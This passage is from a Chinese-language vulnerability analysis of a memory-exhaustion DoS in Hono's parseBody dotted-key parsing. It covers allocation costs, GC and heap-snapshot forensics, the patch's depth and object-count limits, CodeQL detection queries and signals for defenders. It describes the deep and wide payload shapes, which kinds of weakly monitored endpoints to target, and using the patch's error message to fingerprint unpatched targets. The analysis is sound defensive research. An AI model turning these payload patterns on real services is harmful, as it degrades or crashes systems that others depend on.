换句话说,这里被放大的不是“业务字段语义”,而是“分隔符本身的解释权重”。只要解析器不主动清洗空段或拒绝异常 segment,攻击者就能继续把有限字节换成更多路径层级。
6.3 从复杂度表达到“资源单位”更准确
很多文章讲这类问题时,喜欢停在“时间复杂度是 O(n)”或“空间复杂度会增长”这类比较抽象的表达上。但对这条链来说,更有解释力的不是大 O 符号本身,而是具体的资源单位。
对一次 dotted-key 解析,更值得数的是:
- 会调用多少次
split - 会创建多少个中间普通对象
- 会生成多大的
entries数组 - 会让多少原始字段名字符串和片段字符串在同一时间窗内共存
如果用这个视角回头看深度型和广度型 payload,区别会更具体:
- 深度型 payload 主要线性拉高“单 key 的 segment 数”和“单 key 的中间对象链长度”。
- 广度型 payload 主要线性拉高“每请求的 dotted key 数量”和“同一解析窗口内同时存在的中间结构总数”。
这比单纯说“都是 O(n)”更贴近实现真相,因为真正把 Node 推进高 GC 区间的,往往是这些资源单位在一个很短时间窗里的叠加峰值。
7. 把一次解析拆成“对象分配账单”
要看清这类请求的成本到底堆在什么地方,与其继续堆 OOM 样本,不如把一次 dotted-key 请求在 Hono 内部会创建哪些中间结构拆开。
以一个最简单的深度型样本 a.a.a.a=x 为例,至少会出现下面这几类分配或持有动作:
阶段 | 代码位置 | 至少会新增或持有的结构 | 对攻击者的意义 |
读 body |
| 一整份原始请求字节缓冲区 | 先把输入完整驻留到内存 |
转表单 |
|
| 把字节解释成可枚举键值 |
平面落地 |
| 一个根 | 先以“平面键”形式接收恶意 key |
二次枚举 |
| 一个 entries 数组 + 若干 | 再把平面对象整体复制成可遍历列表 |
路径拆分 |
| 一个片段数组 | 把单个字段名重新解释成路径 |
中间节点创建 |
| 每个非叶子段至少一个新对象 | 真正把路径密度转换成对象密度 |
收尾 |
| 删除平面键,但只发生在对象图已经建完之后 | 不能抵消前面已发生的分配高峰 |
换成更公式化的视角,这件事会更清楚:
- 对一个深度为
d的单 key,请求至少会诱导出1个split结果数组、d-1个中间对象创建,以及一个在展开完成前仍然挂在根对象上的平面键。 - 对一个包含
n个浅层 dotted key 的宽度型请求,请求至少会诱导出n个平面属性、1个长度约为n的 entries 数组、n次split、以及大量彼此独立的中间对象创建。
wide-limit 的价值就在这里。它打的并不是“单 key 很深”,而是“让一次请求在同一个解析窗口里同时拥有很多平面键、很多 entries 元组、很多 split 数组和很多新建对象”。从实现层面看,这更像一次短时间内的批量分配洪峰。
这里还可以顺手解释为什么修复版在 wide-limit 上的 heapUsed 差值依然不算小。原因不是补丁失效,而是对象总量限制发生在 handleParsingNestedValues() 的中间节点创建分支里。在命中 MAX_NESTED_OBJECTS 之前,前面的几笔成本通常已经付出去了:
- 原始 body 已被读成
ArrayBuffer FormData已经构造完成form平面对象已经收下了所有字段Object.entries(form)也已经把这些字段重新枚举成数组
所以修复版真正做对的事,不是“完全不让攻击者制造任何解析成本”,而是“把最危险的那一段无界对象扩张,截断在一个固定阈值之前”。
如果再把 GC 的角度补上,这张“分配账单”会更完整。一次 dotted-key 解析之所以容易把 Node 推进高 GC 区间,不只是因为对象数量多,还因为这些对象在时间上是重叠存活的:
formData.forEach(...)遍历期间,FormData仍然可达Object.entries(form)生成后,平面对象和 entries 数组会同时存在handleParsingNestedValues()执行时,keys数组、当前 tuple、根form、新建的嵌套对象会同时可达delete form[key]只会移除旧平面键的一个引用,不会让先前创建的 entries 数组、split结果或嵌套对象立刻消失
因此,攻击者打出的不是“一个一个对象慢慢创建、慢慢释放”的平滑曲线,而更像“在很短的时间窗里把多批中间结构叠在一起”。堆上限足够小时,这种突发式重叠分配就很容易先把进程送进频繁 GC,再把 GC 送进 Mark-Compact,最后才是 heap out of memory。
这也解释了一个常见误区:很多人会把 delete form[key] 理解成“框架最终会把旧键删掉,所以额外成本有限”。但从运行时角度看,真正危险的是“删掉之前发生了什么”。决定风险大小的,是解析窗口里的峰值对象存活量,而不是函数返回后最终剩下多少对象。
8. 把推断升级成运行时证据:--trace-gc 和 heap snapshot 看什么
到这里为止,源码层面的因果链已经比较清楚;再往下追一层,就可以把“源码推断”升级成“运行时证据”。
需要先区分三种证据强度:
before/after heapUsed差值- GC 时间线日志
- heap snapshot 中的保留路径和对象形状
这三者里,当前复现服务里记录的 process.memoryUsage() 属于第一层证据。它很适合回答“这次请求是否明显抬高了堆使用量”,但它回答不了两个更底层的问题:
- 峰值分配究竟发生在解析链的哪个阶段
- 哪些对象在 GC 之后仍然被保留,导致进程最终进入 OOM
如果要把这两个问题钉实,还得再看 GC 日志和 heap snapshot。
8.1 GC 日志能证明什么
本文复现环境中的脆弱版容器默认就是:
node --max-old-space-size=64 server.js因此在这个仓库里做运行时取证,最自然的办法不是换环境,而是在同样的堆限制上额外打开 GC 追踪,例如:
node --trace-gc --trace-gc-nvp --max-old-space-size=64 server.js放回本文的 deep-crash 场景里,最值得观察的不是某一行日志本身,而是下面这条演化顺序:
- 先出现越来越频繁的 GC
- 再出现
Mark-Compact - 再出现
allocation failure - 最后才是
Reached heap limit或heap out of memory
这条顺序说明进程不是因为“单次字符串太长”瞬间崩溃,而是已经在尝试回收对象,只是回收之后仍然无法把堆压回安全区。把进程推向失败的,是解析窗口里那批对象的总存活量,而不是某一个孤立的大对象。
如果把这层含义说得再直白一点,Mark-Compact 在这里相当于一条运行时证词:V8 已经意识到堆压力异常,并开始用更重的回收策略保命;但 dotted-key 展开路径制造出的对象洪峰仍然高于当前堆限制,所以最终失败。
8.2 heap snapshot 应该重点看什么
GC 日志能证明“进程为什么开始痛苦”,但要证明“究竟是什么对象让它痛苦”,还得看 heap snapshot。
在这个案例里,snapshot 不一定会给你一个名为“Hono 漏洞对象”的漂亮标签;真正该看的,是保留路径和对象簇。更准确地说,应该优先看下面几类现象:
- 大量普通对象沿着同一条根路径串成很深的保留链
- 大量字符串内容彼此相似,只是字段名前缀或 dotted path 长度不同
- 一批数组对象表现为
Object.entries()结果或split('.')结果的中间容器 - 保留路径能够回到当前请求处理栈帧、
form根对象,或某个尚未返回的解析中间态
这几类现象分别对应本文前面拆出的四笔核心成本:
- 原始字段名字符串仍然存活
- 平面
form[key]仍然存活 Object.entries(form)物化出来的 entries 仍然存活- dotted-path 展开后创建的嵌套对象链仍然存活
这里的重点不在“对象数量排行榜”,而在“保留路径”。因为光看到很多 Object、很多 Array,并不能自动证明它们属于这条漏洞链;只有当这些对象的 retaining path 能一路回到当前请求的解析上下文时,证据才真正落到 Hono parseBody({ dot: true }) 上。
运行时取证里最有价值的问题不是“堆里是不是有很多对象”,而是“这些对象为什么现在还不能被回收”。
8.3 为什么 delete form[key] 不能洗掉证据
从 heap snapshot 视角看,delete form[key] 这句代码还有一个关键点:它会移除一个引用,但不会倒转前面已经发生的对象图构建。
这是因为在 delete 执行之前,通常已经至少存在:
FormData枚举阶段留下的当前键值表示Object.entries(form)生成的 tuple 数组key.split('.')生成的片段数组- 新创建的多层嵌套对象
因此就算旧的平面键最终被删掉,heap snapshot 里仍然可能看到同一批 dotted path 以其他形态残留在堆上。这个现象说明,修复前的问题不在于“最后结果对象长什么样”,而在于“解析过程中峰值时刻同时存活了多少中间结构”。
8.4 用这个仓库做取证时,最有价值的观察组合
在本文的复现环境里,一组更有说服力的观察顺序通常是:
- 先保留服务里现成的
before/after heapUsed,证明请求窗口里资源确实被抬高 - 再在同样的
64 MiB堆限制下打开--trace-gc,证明进程是沿着“频繁 GC -> Mark-Compact -> allocation failure -> OOM”的轨迹失稳 - 最后在 near-heap-limit 时导出 snapshot,证明堆里保留着大量由 dotted-key 展开诱导出的中间对象和路径相关字符串
这三层证据叠在一起,对漏洞成因的证明会更完整:
heapUsed说明“确实变贵了”- GC 日志说明“贵到哪里开始不可恢复”
- snapshot 说明“究竟是什么东西在贵”
到这里,分析的重点已经不只是确认代码路径,还要说明这些路径在运行时会带来什么代价,以及这些代价如何进一步演化成 GC 压力和 OOM。这正是“源码级分析”和“实现级分析”之间最关键的区别:前者主要回答“代码会怎么走”,后者还要回答“代码这样走时,运行时究竟付出了什么”。
如果还要继续补充运行时材料,优先级更高的通常不是更多 payload,而是两张运行时证据图:
- 一张
deep-crash触发前后的 GC 日志截面 - 一张 heap snapshot 中从请求解析上下文回溯到嵌套对象链的 retaining path
把这两张图补上之后,分析就不只是“知道补丁修了哪里”,而是“能够证明运行时到底因为什么而死”。
9. 边界输入为什么值得单独看
要把这类分析继续推进,重点不在继续堆更多 OOM 样本,而在把“边界输入在解析器里到底会触发什么语义”明确列出来。因为攻击者真正利用的,往往不是某一个超大 payload,而是解析器面对“怪异但合法”的 key 时,愿不愿意继续做工作。
从当前脆弱版和修复版源码可以整理出下面这张行为矩阵:
输入形态 | 脆弱版行为 | 攻击者价值 | 修复版变化 |
| 创建一层正常嵌套对象 | 证明 dotted key 语义确实开启 | 保持兼容,正常解析 |
|
| 用更短字段名编码更多路径段,提高每字节路径密度 | 补丁没有专门清洗空段;只要未超过深度或总量上限,仍会继续解析 |
| 先存成标量,再把 | 说明解析器遇到前缀冲突时不会早停,而是继续投入对象重建成本 | 同样会继续做语义纠偏,但受总量和深度限制约束 |
| 为大量独立前缀持续创建中间对象 | 最适合做广度型堆占用拉升 | 命中 |
| 沿单一路径持续下钻并创建长对象链 | 最适合做深度型长时间解析和 OOM 触发 | 命中 |
这张表真正强调的,其实不是“有哪些奇怪输入”,而是三类语义习惯:
- 解析器保留攻击者提供的路径片段,而不是主动规范化它们。
- 解析器在遇到前缀冲突时倾向于继续重建对象,而不是拒绝输入。
- 解析器默认相信“只要语法上还能往下走,就值得继续创建中间节点”。
从攻击研究角度看,这三点叠在一起就很危险。因为它们意味着攻击者并不需要构造语义完美的业务字段,只需要构造“足以让解析器继续工作”的字段名,就可以持续把成本转移到服务端。
10. 修复版到底加了什么
修复版实现里最值得读者直接看到的,不是几行零散常量,而是“共享状态初始化在什么位置、深度限制在哪里触发、对象总量限制在哪里触发、最终怎么失败”这一整条控制流。把上游 src/utils/body.ts 中与补丁直接相关的片段连起来看,大致是这样:
const MAX_NESTING_DEPTH = 32
const MAX_NESTED_OBJECTS = 10_000
function convertFormDataToBodyData<T extends BodyData = BodyData>(
formData: FormData,
options: ParseBodyOptions
): T {
const form: BodyData = Object.create(null)
const nestingState = { count: 0 }
formData.forEach((value, key) => {
const shouldParseAllValues = options.all || key.endsWith('[]')
if (!shouldParseAllValues) {
form[key] = value
} else {
handleParsingAllValues(form, key, value)
}
})
if (options.dot) {
Object.entries(form).forEach(([key, value]) => {
const shouldParseDotValues = key.includes('.')
if (shouldParseDotValues) {
handleParsingNestedValues(form, key, value, nestingState)
delete form[key]
}
})
}
return form as T
}
const handleParsingNestedValues = (
form: BodyData,
key: string,
value: BodyDataValue<Partial<ParseBodyOptions>>,
state: { count: number }
): void => {
if (/(?:^|\.)__proto__\./.test(key)) {
return
}
let nestedForm = form
const keys = key.split('.', MAX_NESTING_DEPTH + 2)
if (keys.length > MAX_NESTING_DEPTH + 1) {
throwNestingLimitExceeded()
}
keys.forEach((key, index) => {
if (index === keys.length - 1) {
nestedForm[key] = value
} else {
if (
!nestedForm[key] ||
typeof nestedForm[key] !== 'object' ||
Array.isArray(nestedForm[key]) ||
nestedForm[key] instanceof File
) {
if (state.count++ >= MAX_NESTED_OBJECTS) {
throwNestingLimitExceeded()
}
nestedForm[key] = Object.create(null)
}
nestedForm = nestedForm[key] as unknown as BodyData
}
})
}
const throwNestingLimitExceeded = (): never => {
throw new Error('Nesting limit exceeded')
}从攻击角度看,这个补丁很有代表性,因为它正好堵住了两条最自然的利用路线:
- 用单个字段打深度
- 用大量字段打总量
它不是在“优化性能”,而是在直接掐断攻击者的资源放大手段。
把脆弱版和修复版放到同一张执行分叉图里,会更容易看清“补丁到底把失败点前移到了哪里”:
还有两个补丁细节值得单独写出来。
第一,修复版不是先无界 split 再做长度判断,而是直接使用 key.split(".", MAX_NESTING_DEPTH + 2)。这意味着即使攻击者提交超长 dotted key,框架也不会为了“检查它是不是太深”而先把全部片段都完整拆出来,失败点被前移了。
第二,nestingState = { count: 0 } 是在 convertFormDataToBodyData() 作用域里初始化的,然后被传进每一次 handleParsingNestedValues()。这说明对象数量上限不是“单个 key 各算各的”,而是对当前请求整个 dotted-key 展开过程做累计计数。攻击者没法通过把对象创建分散到很多浅层字段来绕过总量限制,这正是补丁对广度型 payload 的关键约束。
从防守视角看,这种设计比单纯限制“字段名长度”更有效,因为它直接约束了真正昂贵的资源单位,也就是“会被新建出来的嵌套对象数量”。
10.1 为什么是 MAX_NESTING_DEPTH + 2
这行代码如果只是草草带过,读者很容易把它理解成“随手设了个 split 上限”。但从实现语义看,+ 2 其实很值得展开。
修复版代码是:
const keys = key.split('.', MAX_NESTING_DEPTH + 2)
if (keys.length > MAX_NESTING_DEPTH + 1) {
throwNestingLimitExceeded()
}假设允许的最大深度是 32,那么合法 key 最多只能产生 33 个 segment。这里多给出来的那 1 个槽位,不是为了继续解析,而是为了在“有额外 segment 存在”时留下可观测证据。
也就是说,这段写法的真实意图更接近:
- 最多只把前
34段拆出来,避免无界 split - 但又要确保“第
34段一旦存在,就足以说明输入已经超限” - 因此长度判断可以在一个固定上界内完成,而不需要先完整物化所有片段
如果没有这个“哨兵槽位”的思路,而只是简单写成 split('.', MAX_NESTING_DEPTH + 1),那么过深输入在某些实现思路下就可能被截断成“看起来刚好合法”的长度,检测语义会变弱。这里的 + 2 本质上是在用一个受控的小额外成本,换取对超深输入的可靠判定。
10.2 为什么对象计数状态要跨 key 共享
nestingState = { count: 0 } 这一点也很值得继续往下讲,因为它暴露了维护者对攻击模型的判断。
如果计数器是每次进入 handleParsingNestedValues() 都重新初始化,那么补丁只能限制“单个 key 最多创建多少对象”,却拦不住攻击者发送成千上万个浅层 key,把对象创建分摊到整次请求里。
修复版没有这么做,而是在 convertFormDataToBodyData() 作用域里创建一次共享状态,再把它传入每一次 nested 展开:
const nestingState = { count: 0 }
Object.entries(form).forEach(([key, value]) => {
if (key.includes('.')) {
handleParsingNestedValues(form, key, value, nestingState)
delete form[key]
}
})这意味着维护者限制的资源单位不是“某个 key 的局部深度”,而是“当前请求在整个 dotted-key 解释过程中累计新建了多少中间对象”。这个设计直接针对的就是广度型 payload,因为广度型攻击最擅长的手法并不是把一个 key 打得无限深,而是让很多 key 各自只创建一点点对象,最后把总量堆到不可接受。
10.3 补丁为什么没有去碰更早的 FormData 物化阶段
从“还能不能再更早失败”这个角度看,很多读者会继续追问:既然问题出在对象膨胀,为什么补丁不在 arrayBuffer()、formData() 或 formData.forEach() 更早的阶段就拦截?
这个问题本身很有价值,因为它能帮文章从“补丁描述”进入“补丁设计取舍”。
一个比较稳妥的解释是:维护者修的不是“所有表单解析成本”,而是“dot 语义带来的无界放大”。因此补丁选在 handleParsingNestedValues() 附近落刀,有几个现实好处:
- 行为边界最清晰,只有
dot: true路径受影响。 - 默认表单解析兼容性更容易保住,不必重写更底层的
FormData处理。 - 防护直接作用在最昂贵、最失控的资源单位上,也就是无界路径拆分和无界中间对象创建。
这也提醒读者一个实现层面的事实:修复版并没有把“表单解析”变成零成本,它只是把“路径语义扩张”从无界改成了有界。换句话说,补丁真正改变的是攻击者能够放大的那一段,而不是整个解析链都被提前短路。
再往深一点看,补丁实际上改变了三个失败时机:
- 在
split阶段就截断超深 key,避免先完整拆分再报错 - 在中间对象创建阶段做全请求累计计数,避免广度型 payload 持续扩张
- 在统一异常出口抛出
Nesting limit exceeded,把失败行为固定成可预期的拒绝,而不是放任运行时去决定何时 OOM
这三点叠加后,修复版的语义从“尽力解析直到资源耗尽”变成了“在可控阈值上尽早失败”。从攻击模型角度看,这其实就是把漏洞从资源放大器改成了一个普通的输入校验错误。
六、把整条攻击链串起来
把前面的入口、内部流程和 payload 合在一起,这条链可以概括成三步:
- 攻击者把 dotted key 送进会执行
parseBody({ dot: true })的表单接口。 - Hono 先把原始请求体物化成
FormData和普通对象,再把 key 解释成路径。 - 脆弱版在没有深度和总量上限的情况下持续创建中间对象,最后表现为高 GC、超时、5xx 或 OOM。
问题的关键不在某一个函数,而在于这条链把很小的输入换成了明显更高的服务端资源消耗。
七、真实攻击里怎么用,价值在哪里
这里不展开额外的恶意自动化细节,只从研究和威胁建模角度看它的现实价值。
1. 这是很典型的资源不对称攻击
攻击者发出一个可批量生成的表单请求,成本很低;服务端却要执行:
- body 解析
- key 拆分
- 对象创建
- 垃圾回收
这种不对称性本身就是 DoS 价值所在。它不一定依赖很高的流量,更重要的是单位请求成本差。深度型 payload 更容易制造单请求长时间卡住,广度型 payload 更容易把堆占用持续抬高。
2. 它很适合打业务边缘接口
最容易被忽视的目标通常不是登录、支付这种核心接口,而是:
- 文件上传前的表单接口
- 后台管理里的资料提交接口
- webhook / callback 接口
- 接收
multipart/form-data的移动端 API
这些地方常常会为了方便使用 parseBody(),也更容易顺手打开 dot: true。这类接口通常还有几个共同特征:
- 字段模型本来就比较松散,业务层不会严格校验参数名格式
- 更关注“是否收到表单”,而不是“表单字段名是否异常”
- 常常挂在管理后台、集成平台、移动端适配层或 webhook 中转层,限流和异常监控不如核心登录链路严格
另外,很多边缘接口的参数名本来就更复杂,研发更容易接受诸如 profile.name、meta.tags[]、callback.data.id 这样的字段设计。这会让恶意 dotted key 看起来没那么突兀。
3. 它不依赖超大请求体
很多系统会限制上传文件大小,却不会限制:
- 表单字段总数
- 字段名长度
- dotted key 深度
所以攻击者完全可能在请求体大小看起来正常的情况下,把问题触发在服务端解析逻辑里。网关看到的是普通表单,请求字节数也未必夸张;真正异常的是应用层在解释 dotted key 时发生的对象图膨胀。这类问题更常见的效果不是一次性打死整站,而是把服务拖进延迟升高、偶发 5xx、实例重启变多的亚健康状态。
如果业务层把补丁抛出的异常文本直接回显给客户端,那么 Nesting limit exceeded 这类错误也会有一定探针价值。它本身不提供进一步利用能力,但可以帮助判断:
- 目标是否已经升级到修复版
- 目标接口是否确实走到了 dotted-key 解析路径
- 同一套业务代码里,哪些端点对表单 key 的处理方式不同
4. 防守方更容易先看到应用亚健康
对蓝队或 SRE 来说,这类问题最难受的地方在于:它的第一现场往往不像传统 DoS 那样明显。很多时候,请求体大小正常、入口流量也不夸张,但应用层已经开始为 dotted key 付出异常高的解析成本。
因此更值得盯的不是单一的带宽指标,而是几组一起漂移的信号:
p95/p99延迟先升高,但入口 QPS 未必同步暴涨- Node 进程 RSS 和
heapUsed波动变陡,GC 时间占比升高 - 同一路由出现偶发
500、连接异常关闭、请求超时 - 容器重启次数增加,但每次重启前未必都有超大请求体
- 反向代理或 WAF 看见的 body size 正常,应用日志却开始出现解析阶段异常
把这几组信号放在一起看,通常就能发现一个典型错位:网关层看到的是“请求不算大”,应用层看到的是“为了理解这些请求,自己做了太多额外工作”。排障时可以先问下面四个问题:
- 延迟和 5xx 是否集中在接收表单的少数端点上。
- 异常窗口里,Node GC、RSS、重启次数是否同步变差。
- 出问题的接口是否使用了
parseBody()、表单 helper,或自定义路径展开逻辑。 - 请求体本身不大时,字段数量、字段名长度、点号深度是否异常。
这几项检查能帮助防守方尽早把注意力从“是不是外部流量变大了”转到“是不是应用在解析一个看起来正常、但语义上很贵的输入”。
八、把它当成一类问题后,应该怎么继续找
如果不把它只当成 Hono 的一个孤立问题,而是当成“带路径语义的解析器如何失控”的案例,这套分析方法还可以迁移到别的框架和解析器上。
1. 先用代码模式缩小攻击面
在真实项目里,第一步通常不是上来就做复杂污点分析,而是先找最可能存在语义展开的入口,例如:
parseBody({ dot: true })- 对
parseBody()的二次封装 helper - 会接收
multipart/form-data或application/x-www-form-urlencoded的 webhook、资料提交、上传前置接口 - 把字段名解释成路径、层级、数组索引或对象树的自定义 parser
这一步的目标不是直接证明漏洞,而是先把值得继续深挖的代码面缩小。
2. 再把 source 到 sink 的传播链串起来
这次分析里的 CodeQL 部分,重点不在“跑了工具”,而在于把攻击者控制的 key 一步步追到危险操作。这里最值得追的 source 往往不是 value,而是字段名 key:
- 攻击者控制的表单字段名进入
FormData FormData的key被写进form[key]Object.entries(form)又把这个动态属性名重新枚举出来- 该 key 进入 dotted-path 处理函数
- 最终命中
split('.')、路径遍历、对象创建、数组扩容等 sink
第一类查询是找真正打开了 dot: true 的业务入口:
/**
* @name Target parseBody dot entrypoints
* @description Finds route handlers that enable Hono parseBody dotted-key parsing.
* @kind problem
* @problem.severity warning
* @precision high
* @id local/hono/parsebody/target-entrypoints
*/
import javascript
from MethodCallExpr routeCall, Function handler, MethodCallExpr parseBodyCall, ObjectExpr options
where
routeCall.getMethodName() = "post" and
routeCall.getArgument(0).getStringValue() = "/submit" and
handler = routeCall.getArgument(1).getUnderlyingValue() and
parseBodyCall.getEnclosingFunction() = handler and
parseBodyCall.getMethodName() = "parseBody" and
options = parseBodyCall.getArgument(0).getUnderlyingValue() and
options.getPropertyByName("dot").getInit().(BooleanLiteral).getValue() = "true"
select parseBodyCall第二类查询是把攻击链上的函数节点和调用边枚举出来,确认从请求入口到 handleParsingNestedValues() 的结构确实存在:
predicate tracked(Function f, string role) {
f.getFile().getRelativePath() = "src/request.ts" and f.getName() = "parseBody" and role = "request-entry"
or
f.getFile().getRelativePath() = "src/utils/body.ts" and f.getName() = "parseFormData" and role = "form-parser"
or
f.getFile().getRelativePath() = "src/utils/body.ts" and f.getName() = "convertFormDataToBodyData" and role = "form-converter"
or
f.getFile().getRelativePath() = "src/utils/body.ts" and f.getName() = "handleParsingNestedValues" and role = "nested-expander"
}第三类查询是补 source-to-sink 的传播链,也就是把 FormData 的字段名一路补到 key.split('.'):
/**
* @name Hono parseBody form-data key to split
* @description Tracks a user-controlled FormData key through object materialization, Object.entries enumeration, and nested dotted-key expansion.
* @kind path-problem
* @problem.severity warning
* @precision high
* @id local/hono/parsebody/formdata-key-to-split
*/
import javascript
import semmle.javascript.dataflow.DataFlow
predicate isInitialFormDataKey(DataFlow::Node source) {
exists(DataFlow::MethodCallNode formDataForEach |
formDataForEach.getFile().getRelativePath() = "src/utils/body.ts" and
formDataForEach.getMethodName() = "forEach" and
formDataForEach.getEnclosingFunction().getName() = "convertFormDataToBodyData" and
source = formDataForEach.getABoundCallbackParameter(0, 1)
)
}
predicate isEntriesTuple(DataFlow::Node tupleNode) {
exists(DataFlow::MethodCallNode entriesForEach, InvokeExpr nestedCall |
entriesForEach.getFile().getRelativePath() = "src/utils/body.ts" and
entriesForEach.getMethodName() = "forEach" and
entriesForEach.getEnclosingFunction().getName() = "convertFormDataToBodyData" and
tupleNode = entriesForEach.getABoundCallbackParameter(0, 0) and
nestedCall.getEnclosingFunction() = entriesForEach.getCallback(0).getFunction() and
nestedCall.getCallee().getUnderlyingReference().(Identifier).getName() = "handleParsingNestedValues"
)
}
predicate isNestedKeyArgument(DataFlow::Node node) {
exists(InvokeExpr nestedCall |
nestedCall.getFile().getRelativePath() = "src/utils/body.ts" and
nestedCall.getEnclosingFunction().getName() = "convertFormDataToBodyData" and
nestedCall.getCallee().getUnderlyingReference().(Identifier).getName() = "handleParsingNestedValues" and
node = DataFlow::valueNode(nestedCall.getArgument(1))
)
}
predicate isNestedKeyParameter(DataFlow::Node node) {
exists(DataFlow::FunctionNode f |
f.getFile().getRelativePath() = "src/utils/body.ts" and
f.getFunction().getName() = "handleParsingNestedValues" and
node = DataFlow::parameterNode(f.getFunction().getParameter(1))
)
}
predicate isSplitReceiver(DataFlow::Node sink) {
exists(DataFlow::MethodCallNode splitCall |
splitCall.getFile().getRelativePath() = "src/utils/body.ts" and
splitCall.getEnclosingFunction().getName() = "handleParsingNestedValues" and
splitCall.getMethodName() = "split" and
sink = splitCall.getReceiver()
)
}
module AttackChainFullConfig implements DataFlow::ConfigSig {
predicate isSource(DataFlow::Node source) { isInitialFormDataKey(source) }
predicate isSink(DataFlow::Node sink) { isSplitReceiver(sink) }
predicate isAdditionalFlowStep(DataFlow::Node pred, DataFlow::Node succ) {
exists(DataFlow::PropWrite write |
write.getFile().getRelativePath() = "src/utils/body.ts" and
write.getBase().asExpr().(Identifier).getName() = "form" and
write.getPropertyNameExpr().(Identifier).getName() = "key" and
pred = write.getPropertyNameExpr().flow() and
isEntriesTuple(succ)
)
or
isEntriesTuple(pred) and isNestedKeyArgument(succ)
or
isNestedKeyArgument(pred) and isNestedKeyParameter(succ)
}
}
module AttackChainFullFlow = TaintTracking::Global<AttackChainFullConfig>;
import AttackChainFullFlow::PathGraph
from AttackChainFullFlow::PathNode source, AttackChainFullFlow::PathNode sink
where AttackChainFullFlow::flowPath(source, sink)
select sink.getNode(), source, sink,
"A FormData field name reaches the dotted-key split sink through Hono's parseBody attack chain."这些查询不只是为了证明这次漏洞存在,更重要的是提供了一套可复用的搜索顺序:先找高风险入口,再找字段名传播,最后找真正触发资源放大的解释操作。
3. 把单个案例抽象成通用危险模式
如果一个解析器同时满足下面几个条件,就值得提高警惕:
- 输入里的字段名、路径名、索引名或段名由攻击者控制
- 解析器会把这些名称解释为层级语义,而不是普通字符串
- 解释过程中会自动创建中间对象、数组或节点
- 深度、宽度、对象总量或展开次数没有硬上限
这四点同时出现时,问题通常就不只是某个框架的小 bug,而是一种稳定的资源放大模式。Hono 这次只是把它表现成 dotted key;换到别的框架、别的 parser,甚至别的语言里,也可能以数组路径、JSON pointer、表单层级展开、配置树构建等形式重复出现。
回到工程排查,通常还是先从仓库里找高风险调用点最划算:
- 先 grep 所有
parseBody调用点,确认哪些地方显式打开了dot。 - 再看这些路由是不是外网可达、是否需要认证、是否接收表单。
- 再查项目里是否存在对字段名做二次解释的 helper,例如点号路径转对象、数组语义建树、递归 merge。
- 最后才决定是否需要上 CodeQL,把
field name -> dynamic property key -> object expansion sink这段做成可复用查询。
九、结尾
GHSA-g6gw-c38x-mqfc 不是能直接拿 shell 的漏洞,但它很适合作为一类资源耗尽问题的样本:入口明确,payload 好构造,运行时现象清楚,补丁也正好对应了攻击者最常用的两个杠杆。
从攻击者视角看,值得记住的不是某个版本号,而是这种模式本身:只要应用愿意把用户可控的字段名继续解释成结构,并且在这个过程中不断创建中间对象,就应该考虑资源耗尽风险。Hono 的 parseBody({ dot: true }) 在 4.13.4 之前,正好暴露了这样一条路径。